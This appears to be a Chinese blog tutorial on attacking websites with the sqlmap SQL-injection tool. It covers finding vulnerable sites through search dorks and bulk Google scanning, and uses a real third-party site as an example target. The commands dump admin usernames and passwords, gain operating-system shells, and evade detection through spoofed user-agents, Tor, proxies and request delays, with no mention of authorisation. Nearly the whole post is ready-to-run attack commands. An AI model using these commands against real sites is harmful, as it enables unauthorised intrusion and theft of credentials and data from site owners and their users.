sqlmap-数据库注入攻击

sqlmap 注入介绍

    所谓sql注入,就是通过把sql命令插入到web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的sql命令,
具体来说,他是利用现有应用程序,将恶意sql命令注入到后台数据库引擎执行的能力,他可以通过在web表单输入(恶意)sql语句得到一个存在安全漏洞的网站上的数据库,而不是按照设计者意图去执行sql语句。
    由此可见:sql注入点位置可以是 http数据包中的任意位置

检查是否有注入点

  1. google/baidu搜索: inurl:asp?id=
  2. 在网址后面加一个单引号‘,看有没有错误
  3. 在网址后面加一个 and 1=1 看有没有错误,若是返回正常,则可以注入

sqlmap>>>access数据库

步骤
    1:检查是否有注入点(url)
    2:sqlmap -u "url"
    3:sqlmap -u "url" --tables
    4:sqlmap -u "url" --columns -T Table_Name
    5:sqlmap -u "url" --dump -T Table_Name -C Column_Name

sqlmap>>>mysql/orical/psql数据库

步骤
    1:检查是否有注入点(url)
    2:sqlmap -u "url"       http://www.bible-history.com/subcat.php?id=2
    3:sqlmap -u "url" --dbs (猜一下有哪些数据库)
    4:sqlmap -u "url" --tables -D Databes_Name          (猜一下,数据库有哪些表)
    5:sqlmap -u "url" --columns -T Admin  -D  Databes_Name      (T后面是表名,D后面是数据库名,查一下这个表下有哪些字段)
    6:sqlmap -u "url" --dump -C user,pass,id,email -T Admin -D Databes_Name (列出admin此表下user,pass,id,email字段的内容)

Sqlmap使用介绍

sqlmap 直连数据库
    sqlmap -d "mysql://admin:password@192.168.1.2:3306/testdb" -f --banner --dbs --users

sqlmap 文件读取目标(只介绍-r,表示从文本文件中读取http请求作为sql注入探测目标,文件一行一个url)
    sqlmap -r /root/web.txt -f --banner --dbs --users

sqlmap google批量扫注入
    sqlmap -g "inurl:.php?id=1"

sqlmap 设置http方法(默认sqlmap使用get方法,不会主动使用其他方法,要是有其他方法需要手动指定)
    sqlmap -u "url" --method=PUT --banner
    sqlmap -u "url" --method=POST --banner

sqlmap 设置post提交参数(这种方式虽然没有指定为post,但是指定了提交的数据 --data="id=1",这就隐式的改成了post并且提交了参数)
    sqlmap -u "url" --data="id=1" -f --banner --dbs --users

sqlmap 伪造user-agent(默认的是 sqlmap.org,可能会触发防护规则)
    sqlmap -u "url" --user-agent="hello 5G" --banner
    sqlmap -u "url" --random-agnet --banner     #随机变化user-agent

sqlmap 设置对host头进行探测(需要指定level为5)
    sqlmap -u "url" --level 5

sqlmap 伪造header头部信息(同时指定user-agent和cookie,注意中间是\n分割的,这很重要)
    sqlmap -u "url" --headers="User-Agent:hello 5G\nCookie:123456" --banner

sqlmap 设置http协议认证参数
    sqlmap -u "url" --auth-type Basic --auth-cred "testuser:testpassword"

sqlmap 设置代理参数
    sqlmap -u "url" --proxy http://123.1.1.1:80 --banner    #适用于无认证代理
    sqlmap -u "url" --proxy-cred user:password --banner     #使用于需要认证的代理
    sqlmap -u "url" --proxy-file /root/daili.txt --banner   #把多个代理写到文件中,一行一个
    sqlmap -u "url" --ignore-proxy --banner                 #忽略系统代理(有的开启了系统代理的)

sqlmap 设置Tor隐藏网络(要先安装并启用tor   apt install tor -y ;service tor start ;service tor status)有http ,https,socks4,socks5几种
    sqlmap -u "url" --tor --tor-type https --check-tor --banner

sqlmap 设置发包间隔(避免触发安全规则,单位是秒)
    sqlmap -u "url" --delay 0.5 --banner

sqlmap 设置超时和重试次数(默认超时30s,重试3次)
    sqlmap -u "url" --timeount 5 --retries 2 --banner

sqlmap 设置随机化参数(避免提交的id信息每次都一致,而被发现,这里将url中的id进行随机化),经测试好像本身就带有随机化,不用指定
    sqlmap -u "http://192.168.1.2/sql/Less-1/?id=1" --randomize id --banner

sqlmap 设置忽略401(忽略未授权的站点的认证信息,不提供认证凭据的情况下,继续对站点进行测试,也就是说跳过nginx的访问认证)
    sqlmap -u "url" --ignore-401 --banner

sqlmap 设置安全模式(盲注时,避免多次不成功,销毁会话)

sqlmap 设置忽略url编码
    sqlmap -u "url" --skip-urlenconde --banner

sqlmap 设置持久化http连接(http报文中设置 Connection:Keep-Alive)
    sqlmap -u "url" --keep-alive --banner

sqlmap 设置不接受http body(常用在盲注过程中,不让他显示过多的信息,为了检索没有body的响应内容)
    sqlmap -u "url" --null-connection

sqlmap 设置多线程(默认是1个线程,为了不影响服务器性能,sqlmap可以设置最大的线程是10)
    sqlmap -u "url" --thread 10

sqlmap 设置预测输出(与--thread 参数不兼容,不能同时使用)
    sqlmap -u "url" --predict-output

sqlmap 开启所有的优化参数
    sqlmap -u "url" -o
sqlmap 设置指定的注入参数(-p 指定具体探测参数,例如 -p "id,user-agent")
    sqlmap -u "http://192.168.1.2/sqli/Less-1/?id=1&us=4&uname=admin" -p "user-agent" --current-db    #对user-agent进行注入

sqlmap 设置url注入位置,设置任意注入位置(* 所在位置表示注入位置)
    sqlmap -u "http://192.168.1.2/sqli/Less-1/?id=1*&us=4&uname=admin" --current-db     #对id那里进行注入
    sqlmap -u "http://192.168.1.2/sqli/Less-1/?id=1*&us=4*&uname=admin" --current-db    #同时对id,us那里进行注入

    --os linux; --os windows    #强制设置os系统
    --risk 3    #设置风险参数,默认是1,对注入点是无害的,可选1-3
    --os-shell  #执行系统命令
    -f          #探测目标指纹信息
    --banner    #获取后端数据库banner信息
    --current-user  #获取DBMS当前用户
    --current-db    #获取当前数据库名
    --hostname      #获取检索dbms当前主机名
    --is-dba        #探测当前用户是否是数据库管理员
    --users         #获取dbms所有用户
    --password      #获取用户密码
    --role          #枚举dbms权限
    --dbs           #列举数据库名称
    --tables        #枚举表名 -D databasesname 指定具体数据库
    --dump          #枚举数据值
    --os-cmd="dir" -v3 #执行系统命令
    --batch -v3 --crawl=3  #爬取url,从目标开始,往下面爬取,深度为3
声明:本文为原创,作者为 辣条①号,转载时请保留本声明及附带文章链接:https://boke.wsfnk.com/archives/206.html
谢谢你请我吃辣条谢谢你请我吃辣条

如果文章对你有帮助,欢迎点击上方按钮打赏作者

最后编辑于:2022/12/3作者: 辣条①号

现在在做什么? 接下来打算做什么? 你的目标什么? 期限还有多少? 进度如何? 不负遇见,不谈亏欠!

暂无评论

发表回复

您的电子邮箱地址不会被公开。 必填项已用*标注

arrow grin ! ? cool roll eek evil razz mrgreen smile oops lol mad twisted wink idea cry shock neutral sad ???

文章目录